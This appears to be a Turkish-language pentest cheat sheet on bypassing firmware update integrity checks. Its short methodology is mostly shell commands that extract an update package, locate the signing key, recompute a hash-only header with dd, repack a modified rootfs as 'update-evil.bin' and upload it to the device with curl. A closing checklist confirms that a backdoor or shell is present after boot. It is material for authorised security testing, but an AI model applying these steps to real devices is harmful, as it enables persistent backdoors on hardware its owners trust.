Firmware Integrity
hardware integrity
Güncelleme paketinde imza yoksa, sadece hash varsa veya doğrulama client-side ise modifiye firmware yüklenerek backdoor eklenir.
Metodoloji
Section titled “Metodoloji”-
Resmi update paketini indir; format ve imza blob’unu ayır.
-
İmza algoritmasını ve public key konumunu bul (firmware veya updater).
-
Hash-only / truncation / TOC-TOU zayıflığını doğrula.
-
Patch’li rootfs’i yeniden paketleyip kabul ettir.
Paket inceleme
Section titled “Paket inceleme”file update.binbinwalk update.binxxd update.bin | head -40openssl asn1parse -inform DER -in sig.der 2>/dev/null | headrg -nHi 'sha256|signature|verify|rsa|ed25519' updater/ extracted/# Public key çıkarmabinwalk -e firmware.bin; find _firmware* -name '*.pem' -o -name '*public*'Tipik zayıflıklar
Section titled “Tipik zayıflıklar”İmza sadece header üzerinde; payload serbestMD5/SHA1 hash client'ta hesaplanıp sunucuya güveniliyorLength field ile imza blob truncate → partial verify bypass# Hash yeniden hesapla ve header'a yaz (hash-only senaryosu)sha256sum rootfs.img | awk '{print $1}' | xxd -r -p | dd of=update.bin bs=1 seek=OFFSET conv=notruncYeniden paketleme
Section titled “Yeniden paketleme”mksquashfs squashfs-root rootfs-new.sqsh -comp xzcat header.bin rootfs-new.sqsh sig.bin > update-evil.bin# Cihaza yükle (vendor web / tftp / USB)curl -F 'file=@update-evil.bin' http://DEVICE/upgradeChecklist
Section titled “Checklist”[ ] update formatı çözüldü[ ] imza/hash kapsamı belirlendi[ ] bypass hipotezi PoC ile doğrulandı[ ] patch'li paket kabul edildi[ ] backdoor/shell boot sonrası geldi